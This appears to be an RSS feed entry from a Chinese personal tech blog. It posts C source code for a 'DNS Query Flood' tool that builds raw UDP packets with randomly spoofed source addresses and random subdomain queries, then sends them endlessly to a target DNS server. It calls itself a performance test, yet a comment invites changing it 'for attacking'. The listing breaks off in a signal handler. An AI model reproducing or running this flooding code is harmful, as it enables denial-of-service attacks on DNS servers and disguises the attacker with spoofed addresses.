<?xml version="1.0" encoding="utf-8" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="http://icylife.net/yunshu/rss.php" rel="self" type="application/rss+xml" />
		<title>心路</title>
		<link>http://www.icylife.net/yunshu</link>
		<description>心路</description>
		<language>zh-cn</language>
		<item>
			<title><![CDATA[DNS Query Flood攻击]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=832</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=832</guid>
			<description>
				<![CDATA[
<pre class="c"><span style="font-style: italic; color: #808080"><font color="#000000">2011年写的一个DNS Query Flood测试代码。我已经尽可能的降低了攻击性，仅供测试DNS服务器性能使用。
BTW，我依旧记得当时的痛苦，也许DNS协议的设计者是写第一个DNS服务器的人吧，协议中处处都在为Server端的解析
方便考虑，Fuck DNS Protocol。</font>

// code by yunshu(wustyunshu@hotmail.com, 2011-07-11. just for test, have fun.</span>
<span style="font-style: italic; color: #808080">// you should change some codes for attacking.</span>
&nbsp;
<span style="color: #339933">#include &lt;stdio.h&gt;</span>
<span style="color: #339933">#include &lt;netinet/in.h&gt;</span>
<span style="color: #339933">#include &lt;netdb.h&gt;</span>
<span style="color: #339933">#include &lt;sys/time.h&gt;</span>
<span style="color: #339933">#include &lt;sys/types.h&gt;</span>
<span style="color: #339933">#include &lt;unistd.h&gt;</span>
<span style="color: #339933">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933">#include &lt;signal.h&gt;</span>
<span style="color: #339933">#include &lt;pthread.h&gt;</span>
<span style="color: #339933">#include &lt;errno.h&gt;</span>
&nbsp;
<span style="color: #993333">typedef</span> <span style="color: #993333">struct</span> ip_hdr
<span style="color: #66cc66">{</span>
    <span style="color: #993333">unsigned</span> <span style="color: #993333">char</span>     h_verlen;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">char</span>     tos;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    total_len;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    ident;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    frag_and_flags;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">char</span>     ttl;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">char</span>     proto;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    checksum;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">int</span>      sourceIP;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">int</span>      destIP;
<span style="color: #66cc66">}</span>IP_HEADER;
&nbsp;
<span style="color: #993333">typedef</span> <span style="color: #993333">struct</span> udp_hdr
<span style="color: #66cc66">{</span>
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    uh_sport;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    uh_dport;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    uh_length;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    uh_checksum;
<span style="color: #66cc66">}</span>UDP_HEADER;
&nbsp;
<span style="color: #993333">typedef</span> <span style="color: #993333">struct</span> usd_hdr
<span style="color: #66cc66">{</span>
    <span style="color: #993333">unsigned</span> <span style="color: #993333">long</span>       saddr;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">long</span>       daddr;
    <span style="color: #993333">char</span>                mbz;
    <span style="color: #993333">char</span>                ptcl;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>      udpl;
<span style="color: #66cc66">}</span>USD_HEADER; 
&nbsp;
<span style="color: #993333">typedef</span> <span style="color: #993333">struct</span> dns
<span style="color: #66cc66">{</span>
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    tid;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    flags;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    queries;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    answers;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    auth;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    additional;
<span style="color: #66cc66">}</span>DNS_HEADER;
&nbsp;
<span style="color: #993333">typedef</span> <span style="color: #993333">struct</span> query
<span style="color: #66cc66">{</span>
    <span style="color: #993333">char</span> *    name;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    type;
    <span style="color: #993333">unsigned</span> <span style="color: #993333">short</span>    class;
<span style="color: #66cc66">}</span>QUERY_HEADER;
&nbsp;
<span style="color: #993333">int</span> <span style="color: #993333">const</span> HOST_LENGTH = <span style="color: #cc66cc">3</span>;
<span style="color: #993333">unsigned</span> <span style="color: #993333">long</span> <span style="color: #993333">long</span> sleeptime, starttime, outcount = <span style="color: #cc66cc">0</span>;
<span style="color: #993333">int</span> pkt_then_sleep = <span style="color: #cc66cc">0</span>;
&nbsp;
<span style="color: #993333">unsigned</span> <span style="color: #993333">short</span> CheckSum<span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span> <span style="color: #993333">short</span> * buffer, <span style="color: #993333">int</span> size<span style="color: #66cc66">)</span>
<span style="color: #66cc66">{</span>
        <span style="color: #993333">unsigned</span> <span style="color: #993333">long</span>   cksum = <span style="color: #cc66cc">0</span>;
&nbsp;
        <span style="color: #b1b100">while</span> <span style="color: #66cc66">(</span>size &gt; <span style="color: #cc66cc">1</span><span style="color: #66cc66">)</span>
        <span style="color: #66cc66">{</span>
                cksum += *buffer++;
                size -= <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span> <span style="color: #993333">short</span><span style="color: #66cc66">)</span>;
        <span style="color: #66cc66">}</span>
        <span style="color: #b1b100">if</span> <span style="color: #66cc66">(</span>size<span style="color: #66cc66">)</span>
        <span style="color: #66cc66">{</span>
                cksum += *<span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span> <span style="color: #993333">char</span> *<span style="color: #66cc66">)</span> buffer;
        <span style="color: #66cc66">}</span>
        cksum = <span style="color: #66cc66">(</span>cksum &gt;&gt; <span style="color: #cc66cc">16</span><span style="color: #66cc66">)</span> + <span style="color: #66cc66">(</span>cksum &amp; 0xffff<span style="color: #66cc66">)</span>;
        cksum += <span style="color: #66cc66">(</span>cksum &gt;&gt; <span style="color: #cc66cc">16</span><span style="color: #66cc66">)</span>;
&nbsp;
        <span style="color: #b1b100">return</span> <span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span> <span style="color: #993333">short</span><span style="color: #66cc66">)</span> <span style="color: #66cc66">(</span>~cksum<span style="color: #66cc66">)</span>;
<span style="color: #66cc66">}</span>
&nbsp;
<span style="color: #993333">void</span> MySleep<span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span> <span style="color: #993333">int</span> micro_second<span style="color: #66cc66">)</span>
<span style="color: #66cc66">{</span>
        <span style="color: #993333">struct</span> timeval  t_timeval;
&nbsp;
        t_timeval.<span style="color: #202020">tv_sec</span> = <span style="color: #cc66cc">0</span>;
        t_timeval.<span style="color: #202020">tv_usec</span> = micro_second;
&nbsp;
        select<span style="color: #66cc66">(</span> <span style="color: #cc66cc">0</span>, <span style="color: #000000; font-weight: bold">NULL</span>, <span style="color: #000000; font-weight: bold">NULL</span>, <span style="color: #000000; font-weight: bold">NULL</span>, &amp;t_timeval <span style="color: #66cc66">)</span>;
<span style="color: #66cc66">}</span>
&nbsp;
<span style="color: #993333">void</span> PaddingQuery<span style="color: #66cc66">(</span> <span style="color: #993333">char</span> *buffer, <span style="color: #993333">char</span> *base_name <span style="color: #66cc66">)</span>
<span style="color: #66cc66">{</span>
    <span style="color: #993333">char</span> *tmp = <span style="color: #66cc66">(</span><span style="color: #993333">char</span> *<span style="color: #66cc66">)</span>malloc<span style="color: #66cc66">(</span>strlen<span style="color: #66cc66">(</span>base_name<span style="color: #66cc66">)</span>+HOST_LENGTH<span style="color: #cc66cc">+1</span><span style="color: #66cc66">)</span>;
    <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> <span style="color: #000000; font-weight: bold">NULL</span> == tmp <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>
        fprintf<span style="color: #66cc66">(</span> stderr, <span style="color: #ff0000">&quot;malloc for query error: %s<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>, strerror<span style="color: #66cc66">(</span>errno<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
        exit <span style="color: #cc66cc">-1</span>;
    <span style="color: #66cc66">}</span>
    memset<span style="color: #66cc66">(</span> tmp, <span style="color: #cc66cc">0</span>, strlen<span style="color: #66cc66">(</span>base_name<span style="color: #66cc66">)</span>+HOST_LENGTH<span style="color: #cc66cc">+1</span> <span style="color: #66cc66">)</span>;
    sprintf<span style="color: #66cc66">(</span> tmp, <span style="color: #ff0000">&quot;%c%c%c%s&quot;</span>, rand<span style="color: #66cc66">(</span><span style="color: #66cc66">)</span>%<span style="color: #cc66cc">25</span><span style="color: #cc66cc">+97</span>, rand<span style="color: #66cc66">(</span><span style="color: #66cc66">)</span>%<span style="color: #cc66cc">25</span><span style="color: #cc66cc">+97</span>, rand<span style="color: #66cc66">(</span><span style="color: #66cc66">)</span>%<span style="color: #cc66cc">25</span><span style="color: #cc66cc">+97</span>, base_name <span style="color: #66cc66">)</span>;
&nbsp;
    <span style="color: #993333">int</span> length_pos = <span style="color: #cc66cc">0</span>;
    <span style="color: #993333">int</span> loop_num = <span style="color: #cc66cc">1</span>;
&nbsp;
    <span style="color: #993333">char</span> *token = strtok<span style="color: #66cc66">(</span> tmp, <span style="color: #ff0000">&quot;.&quot;</span> <span style="color: #66cc66">)</span>;
    <span style="color: #b1b100">while</span><span style="color: #66cc66">(</span> <span style="color: #000000; font-weight: bold">NULL</span> != token <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>
        <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> loop_num == <span style="color: #cc66cc">1</span> <span style="color: #66cc66">)</span>
        <span style="color: #66cc66">{</span>
            length_pos = <span style="color: #cc66cc">0</span>;
            memset<span style="color: #66cc66">(</span> buffer, strlen<span style="color: #66cc66">(</span>token<span style="color: #66cc66">)</span>, <span style="color: #cc66cc">1</span> <span style="color: #66cc66">)</span>;
            strcpy<span style="color: #66cc66">(</span> buffer+length_pos<span style="color: #cc66cc">+1</span>, token <span style="color: #66cc66">)</span>;
&nbsp;
            length_pos = length_pos + strlen<span style="color: #66cc66">(</span>token<span style="color: #66cc66">)</span> + <span style="color: #cc66cc">1</span>;
        <span style="color: #66cc66">}</span>
        <span style="color: #b1b100">else</span>
        <span style="color: #66cc66">{</span>
            memset<span style="color: #66cc66">(</span> buffer+length_pos, strlen<span style="color: #66cc66">(</span>token<span style="color: #66cc66">)</span>, <span style="color: #cc66cc">1</span> <span style="color: #66cc66">)</span>;
            strcpy<span style="color: #66cc66">(</span> buffer+length_pos<span style="color: #cc66cc">+1</span>, token <span style="color: #66cc66">)</span>;
&nbsp;
            length_pos = length_pos + strlen<span style="color: #66cc66">(</span>token<span style="color: #66cc66">)</span> + <span style="color: #cc66cc">1</span>;
        <span style="color: #66cc66">}</span>
&nbsp;
        token = strtok<span style="color: #66cc66">(</span> <span style="color: #000000; font-weight: bold">NULL</span>, <span style="color: #ff0000">&quot;.&quot;</span> <span style="color: #66cc66">)</span>;
        loop_num ++;
    <span style="color: #66cc66">}</span>
    free<span style="color: #66cc66">(</span>tmp<span style="color: #66cc66">)</span>;
<span style="color: #66cc66">}</span>
&nbsp;
<span style="color: #993333">void</span> Init<span style="color: #66cc66">(</span> <span style="color: #993333">char</span> *buffer, <span style="color: #993333">int</span> buffer_size, <span style="color: #993333">char</span> *ip, <span style="color: #993333">char</span> *base_name <span style="color: #66cc66">)</span>
<span style="color: #66cc66">{</span>
    IP_HEADER   IpHeader;
    UDP_HEADER  UdpHeader;
    USD_HEADER  UsdHeader;
    DNS_HEADER  DnsHeader;
    QUERY_HEADER    QueryHeader;
&nbsp;
    <span style="font-style: italic; color: #808080">// whole udp packet except ip header and usd_header</span>
    <span style="color: #993333">int</span> total_packet_len = buffer_size;
&nbsp;
    <span style="font-style: italic; color: #808080">// udp packet with usd_header</span>
    <span style="color: #993333">int</span> udp_with_usd_len = total_packet_len - <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>IP_HEADER<span style="color: #66cc66">)</span> + <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>USD_HEADER<span style="color: #66cc66">)</span>;
&nbsp;
    <span style="color: #993333">char</span> *udp_packet = <span style="color: #66cc66">(</span><span style="color: #993333">char</span> *<span style="color: #66cc66">)</span>malloc<span style="color: #66cc66">(</span> udp_with_usd_len <span style="color: #66cc66">)</span>;
    <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> <span style="color: #000000; font-weight: bold">NULL</span> == udp_packet <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>
        fprintf<span style="color: #66cc66">(</span> stderr, <span style="color: #ff0000">&quot;malloc udp packet error: %s<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>, strerror<span style="color: #66cc66">(</span>errno<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
        exit;
    <span style="color: #66cc66">}</span>
    memset<span style="color: #66cc66">(</span> udp_packet, <span style="color: #cc66cc">0</span>, udp_with_usd_len <span style="color: #66cc66">)</span>;
&nbsp;
    IpHeader.<span style="color: #202020">h_verlen</span> = <span style="color: #66cc66">(</span><span style="color: #cc66cc">4</span>&lt;&lt;<span style="color: #cc66cc">4</span> | <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>IpHeader<span style="color: #66cc66">)</span>/<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span> <span style="color: #993333">int</span><span style="color: #66cc66">)</span><span style="color: #66cc66">)</span>;
    IpHeader.<span style="color: #202020">tos</span> = <span style="color: #cc66cc">0</span>;
    IpHeader.<span style="color: #202020">total_len</span> = htons<span style="color: #66cc66">(</span> total_packet_len <span style="color: #66cc66">)</span>;
    IpHeader.<span style="color: #202020">ident</span> = rand<span style="color: #66cc66">(</span><span style="color: #66cc66">)</span> % <span style="color: #cc66cc">30000</span> + <span style="color: #cc66cc">9876</span>;
    IpHeader.<span style="color: #202020">frag_and_flags</span> = 0x0000;
    IpHeader.<span style="color: #202020">ttl</span> = <span style="color: #cc66cc">255</span>;
    IpHeader.<span style="color: #202020">proto</span> = IPPROTO_UDP;
    IpHeader.<span style="color: #202020">checksum</span> = 0x0000;
   	<span style="font-style: italic; color: #808080">// 1.1.1.1 ----------- 250.250.250.250</span>
    IpHeader.<span style="color: #202020">sourceIP</span> = htonl<span style="color: #66cc66">(</span>rand<span style="color: #66cc66">(</span> <span style="color: #66cc66">)</span> % <span style="color: #cc66cc">4193909242</span> + <span style="color: #cc66cc">16843009</span><span style="color: #66cc66">)</span>;
    <span style="font-style: italic; color: #808080">//IpHeader.sourceIP = inet_addr(&quot;10.23.230.110&quot;);</span>
    IpHeader.<span style="color: #202020">destIP</span> = inet_addr<span style="color: #66cc66">(</span>ip<span style="color: #66cc66">)</span>;
&nbsp;
    UdpHeader.<span style="color: #202020">uh_sport</span> = htons<span style="color: #66cc66">(</span> rand<span style="color: #66cc66">(</span><span style="color: #66cc66">)</span> % <span style="color: #cc66cc">8000</span> + <span style="color: #cc66cc">2345</span> <span style="color: #66cc66">)</span>;
    UdpHeader.<span style="color: #202020">uh_dport</span> = htons<span style="color: #66cc66">(</span><span style="color: #cc66cc">53</span><span style="color: #66cc66">)</span>;
    UdpHeader.<span style="color: #202020">uh_length</span> = htons<span style="color: #66cc66">(</span> total_packet_len - <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>IP_HEADER<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
    UdpHeader.<span style="color: #202020">uh_checksum</span> = 0x0000;
&nbsp;
    UsdHeader.<span style="color: #202020">saddr</span> = IpHeader.<span style="color: #202020">sourceIP</span>;
    UsdHeader.<span style="color: #202020">daddr</span> = IpHeader.<span style="color: #202020">destIP</span>;
    UsdHeader.<span style="color: #202020">mbz</span> = 0x00;
    UsdHeader.<span style="color: #202020">ptcl</span> = IPPROTO_UDP;
    UsdHeader.<span style="color: #202020">udpl</span> = UdpHeader.<span style="color: #202020">uh_length</span>;
&nbsp;
    DnsHeader.<span style="color: #202020">tid</span> = rand<span style="color: #66cc66">(</span><span style="color: #66cc66">)</span> % <span style="color: #cc66cc">40000</span> + <span style="color: #cc66cc">12345</span>;
    DnsHeader.<span style="color: #202020">flags</span> = 0x0001;
    DnsHeader.<span style="color: #202020">queries</span> = 0x0100;
    DnsHeader.<span style="color: #202020">answers</span> = 0x0000;
    DnsHeader.<span style="color: #202020">auth</span> = 0x0000;
    DnsHeader.<span style="color: #202020">additional</span> = 0x0000;
&nbsp;
    QueryHeader.<span style="color: #202020">type</span> = 0x0100;
    QueryHeader.<span style="color: #202020">class</span> = 0x0100;
&nbsp;
    memcpy<span style="color: #66cc66">(</span> <span style="color: #66cc66">(</span><span style="color: #993333">void</span>*<span style="color: #66cc66">)</span>buffer, <span style="color: #66cc66">(</span><span style="color: #993333">void</span>*<span style="color: #66cc66">)</span>&amp;IpHeader, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>IpHeader<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
    IpHeader.<span style="color: #202020">checksum</span> = CheckSum<span style="color: #66cc66">(</span> <span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span> <span style="color: #993333">short</span> *<span style="color: #66cc66">)</span> buffer, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>IpHeader<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
    memcpy<span style="color: #66cc66">(</span> <span style="color: #66cc66">(</span><span style="color: #993333">void</span>*<span style="color: #66cc66">)</span>buffer, <span style="color: #66cc66">(</span><span style="color: #993333">void</span>*<span style="color: #66cc66">)</span>&amp;IpHeader, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>IpHeader<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
&nbsp;
    memcpy<span style="color: #66cc66">(</span> udp_packet, <span style="color: #66cc66">(</span><span style="color: #993333">void</span>*<span style="color: #66cc66">)</span>&amp;UsdHeader, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UsdHeader<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
&nbsp;
    memcpy<span style="color: #66cc66">(</span> udp_packet+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UsdHeader<span style="color: #66cc66">)</span>, &amp;UdpHeader, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UdpHeader<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
&nbsp;
    memcpy<span style="color: #66cc66">(</span> udp_packet+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UsdHeader<span style="color: #66cc66">)</span>+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UdpHeader<span style="color: #66cc66">)</span>, &amp;DnsHeader, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>DnsHeader<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
&nbsp;
    PaddingQuery<span style="color: #66cc66">(</span> udp_packet+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UsdHeader<span style="color: #66cc66">)</span>+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UdpHeader<span style="color: #66cc66">)</span>+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>DnsHeader<span style="color: #66cc66">)</span>, base_name <span style="color: #66cc66">)</span>;
&nbsp;
    memcpy<span style="color: #66cc66">(</span> udp_packet+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UsdHeader<span style="color: #66cc66">)</span>+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UdpHeader<span style="color: #66cc66">)</span>+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>DnsHeader<span style="color: #66cc66">)</span><span style="color: #cc66cc">+1</span>+HOST_LENGTH+strlen<span style="color: #66cc66">(</span>base_name<span style="color: #66cc66">)</span><span style="color: #cc66cc">+1</span>, <span style="color: #66cc66">(</span><span style="color: #66cc66">(</span><span style="color: #993333">char</span>*<span style="color: #66cc66">)</span>&amp;QueryHeader<span style="color: #66cc66">)</span>+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span><span style="color: #993333">char</span> *<span style="color: #66cc66">)</span>, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>QueryHeader<span style="color: #66cc66">)</span>-<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span><span style="color: #993333">char</span>*<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
&nbsp;
    UdpHeader.<span style="color: #202020">uh_checksum</span> = CheckSum<span style="color: #66cc66">(</span> <span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span> <span style="color: #993333">short</span> *<span style="color: #66cc66">)</span>udp_packet, udp_with_usd_len <span style="color: #66cc66">)</span>; 
    memcpy<span style="color: #66cc66">(</span> udp_packet+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UsdHeader<span style="color: #66cc66">)</span>, &amp;UdpHeader, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UdpHeader<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
&nbsp;
    memcpy<span style="color: #66cc66">(</span> buffer+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>IpHeader<span style="color: #66cc66">)</span>, udp_packet+<span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UsdHeader<span style="color: #66cc66">)</span>, udp_with_usd_len - <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>USD_HEADER<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
&nbsp;
    free<span style="color: #66cc66">(</span> udp_packet <span style="color: #66cc66">)</span>;
<span style="color: #66cc66">}</span>
&nbsp;
<span style="color: #993333">void</span> Flood<span style="color: #66cc66">(</span> <span style="color: #993333">char</span> *dst_ip, <span style="color: #993333">char</span> *base_name <span style="color: #66cc66">)</span>
<span style="color: #66cc66">{</span>
    <span style="color: #993333">int</span> sock;
    <span style="color: #993333">int</span> flag = <span style="color: #cc66cc">1</span>;
&nbsp;
    <span style="font-style: italic; color: #808080">// sizeof(char *) means the length of &quot;name&quot; field in the query header.</span>
    <span style="font-style: italic; color: #808080">// 2 means, 0x00 and the length of host, 0x03www0x06google0x03com0x00, fuck dns protocol</span>
    <span style="color: #993333">int</span> total_packet_len = <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>IP_HEADER<span style="color: #66cc66">)</span> + <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>UDP_HEADER<span style="color: #66cc66">)</span> + <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>DNS_HEADER<span style="color: #66cc66">)</span> + <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>QUERY_HEADER<span style="color: #66cc66">)</span> + strlen<span style="color: #66cc66">(</span>base_name<span style="color: #66cc66">)</span> + HOST_LENGTH + <span style="color: #cc66cc">2</span> - <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span><span style="color: #993333">char</span> *<span style="color: #66cc66">)</span>;
&nbsp;
    <span style="color: #993333">char</span> *buffer = <span style="color: #66cc66">(</span><span style="color: #993333">char</span> *<span style="color: #66cc66">)</span>malloc<span style="color: #66cc66">(</span> total_packet_len <span style="color: #66cc66">)</span>;
    <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> <span style="color: #000000; font-weight: bold">NULL</span> == buffer <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>
        fprintf<span style="color: #66cc66">(</span> stderr, <span style="color: #ff0000">&quot;malloc memory for packet error.<span style="color: #000099; font-weight: bold">\n</span>&quot;</span> <span style="color: #66cc66">)</span>;
        <span style="color: #b1b100">return</span>;
    <span style="color: #66cc66">}</span>
&nbsp;
    <span style="color: #993333">struct</span> sockaddr_in  sa;
    memset<span style="color: #66cc66">(</span> &amp;sa, <span style="color: #cc66cc">0</span>, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span><span style="color: #993333">struct</span> sockaddr_in<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
    sa.<span style="color: #202020">sin_family</span> = AF_INET;
    sa.<span style="color: #202020">sin_port</span> = htons<span style="color: #66cc66">(</span><span style="color: #cc66cc">53</span><span style="color: #66cc66">)</span>;
    sa.<span style="color: #202020">sin_addr</span>.<span style="color: #202020">s_addr</span> = inet_addr<span style="color: #66cc66">(</span>dst_ip<span style="color: #66cc66">)</span>;
&nbsp;
    <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> <span style="color: #66cc66">(</span>sock = socket<span style="color: #66cc66">(</span>PF_INET, SOCK_RAW, IPPROTO_UDP<span style="color: #66cc66">)</span><span style="color: #66cc66">)</span>  &lt; <span style="color: #cc66cc">0</span> <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>
        fprintf<span style="color: #66cc66">(</span> stderr, <span style="color: #ff0000">&quot;create socket error: %s<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>, strerror<span style="color: #66cc66">(</span>errno<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
        free<span style="color: #66cc66">(</span>buffer<span style="color: #66cc66">)</span>;
        <span style="color: #b1b100">return</span>;
    <span style="color: #66cc66">}</span>
&nbsp;
    <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> setsockopt<span style="color: #66cc66">(</span>sock, IPPROTO_IP, IP_HDRINCL, <span style="color: #66cc66">(</span><span style="color: #993333">int</span> *<span style="color: #66cc66">)</span>&amp;flag, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>flag<span style="color: #66cc66">)</span><span style="color: #66cc66">)</span> &lt; <span style="color: #cc66cc">0</span> <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>
        fprintf<span style="color: #66cc66">(</span> stderr, <span style="color: #ff0000">&quot;setsockopt error: %s<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>, strerror<span style="color: #66cc66">(</span>errno<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
        free<span style="color: #66cc66">(</span>buffer<span style="color: #66cc66">)</span>;
        <span style="color: #b1b100">return</span>;
    <span style="color: #66cc66">}</span>
&nbsp;
    <span style="color: #993333">int</span> number = <span style="color: #cc66cc">0</span>;
    <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> sleeptime == <span style="color: #cc66cc">0</span> <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>
        <span style="color: #b1b100">while</span><span style="color: #66cc66">(</span> <span style="color: #cc66cc">1</span> <span style="color: #66cc66">)</span>
        <span style="color: #66cc66">{</span>
            memset<span style="color: #66cc66">(</span> <span style="color: #66cc66">(</span><span style="color: #993333">void</span> *<span style="color: #66cc66">)</span>buffer, <span style="color: #cc66cc">0</span>, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span>buffer<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
            Init<span style="color: #66cc66">(</span> buffer, total_packet_len, dst_ip, base_name <span style="color: #66cc66">)</span>;
&nbsp;
            sendto<span style="color: #66cc66">(</span> sock, buffer, total_packet_len, <span style="color: #cc66cc">0</span>, <span style="color: #66cc66">(</span><span style="color: #993333">struct</span> sockaddr *<span style="color: #66cc66">)</span>&amp;sa, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span><span style="color: #993333">struct</span> sockaddr_in<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>;
            outcount ++;
        <span style="color: #66cc66">}</span>
    <span style="color: #66cc66">}</span>
&nbsp;
    <span style="color: #b1b100">else</span>
    <span style="color: #66cc66">{</span>
        <span style="color: #b1b100">while</span><span style="color: #66cc66">(</span> <span style="color: #cc66cc">1</span> <span style="color: #66cc66">)</span>
        <span style="color: #66cc66">{</span>
            memset<span style="color: #66cc66">(</span> <span style="color: #66cc66">(</span><span style="color: #993333">void</span>*<span style="color: #66cc66">)</span>buffer, <span style="color: #cc66cc">0</span>, <span style="color: #993333">sizeof</span> buffer <span style="color: #66cc66">)</span>;
            Init<span style="color: #66cc66">(</span> buffer, total_packet_len, dst_ip, base_name <span style="color: #66cc66">)</span>;
&nbsp;
            sendto<span style="color: #66cc66">(</span> sock, buffer, total_packet_len, <span style="color: #cc66cc">0</span>, <span style="color: #66cc66">(</span><span style="color: #993333">struct</span> sockaddr *<span style="color: #66cc66">)</span>&amp;sa, <span style="color: #993333">sizeof</span><span style="color: #66cc66">(</span><span style="color: #993333">struct</span> sockaddr_in<span style="color: #66cc66">)</span> <span style="color: #66cc66">)</span>; 
            outcount ++;
            number ++;
&nbsp;
            <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> number == pkt_then_sleep <span style="color: #66cc66">)</span>
            <span style="color: #66cc66">{</span>
                MySleep<span style="color: #66cc66">(</span> sleeptime <span style="color: #66cc66">)</span>;
                number = <span style="color: #cc66cc">0</span>;
            <span style="color: #66cc66">}</span>
        <span style="color: #66cc66">}</span>
    <span style="color: #66cc66">}</span>
&nbsp;
    free<span style="color: #66cc66">(</span> buffer <span style="color: #66cc66">)</span>;
    <span style="color: #b1b100">return</span>;
<span style="color: #66cc66">}</span>
&nbsp;
<span style="color: #993333">void</span> sig_proc<span style="color: #66cc66">(</span><span style="color: #993333">int</span> signum<span style="color: #66cc66">)</span>
<span style="color: #66cc66">{</span>
